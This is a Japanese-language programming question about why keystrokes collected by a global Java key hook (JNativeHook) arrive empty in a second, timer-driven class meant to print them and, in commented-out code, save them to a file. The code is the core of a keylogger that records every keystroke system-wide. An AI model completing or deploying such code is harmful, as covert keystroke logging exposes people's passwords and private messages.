次のJavaコードでは、あるクラスにArrayListを設定してから、別のクラスにArrayListを使用しています。ただし、配列は転送されますが、null値で埋められます。コードをデバッグしましたが、ArrayListは入力されますが、その値は転送されません。
ファーストクラス:
public String[] log = new String[100];
public ArrayList llog= new ArrayList();
int arraypos= 0;
public void nativeKeyPressed(NativeKeyEvent e) {
if (e.getKeyCode() == NativeKeyEvent.VK_ESCAPE) {
GlobalScreen.unregisterNativeHook();
}
System.out.println(" " + NativeKeyEvent.getKeyText(e.getKeyCode()).toLowerCase() + " ");
llog.add(NativeKeyEvent.getKeyText(e.getKeyCode()).toString().toLowerCase());
System.out.println("list:" + llog.get(arraypos));
arraypos = arraypos + 1;
}
public ArrayList getStrokes (){
return this.llog;
}
セカンドクラス:
public void TeslaTimer()
{
int delay = 10000; //1 sec = 1000
int period = 90000; // repeat every sec.
Timer timer = new Timer();
timer.scheduleAtFixedRate(new TimerTask()
{
@Override
public void run()
{
GlobalKeyListener keyl = new GlobalKeyListener();
ArrayList keylog=keyl.getStrokes();
//TeslaLogger savetoFile = new TeslaLogger();
//savetoFile.TeslaLogger(keylog);
System.out.println("Ring Ring");
for(int i =0; i < keylog.size(); i++){
System.out.println(keylog.get(i));
}
}
}, delay, period);
}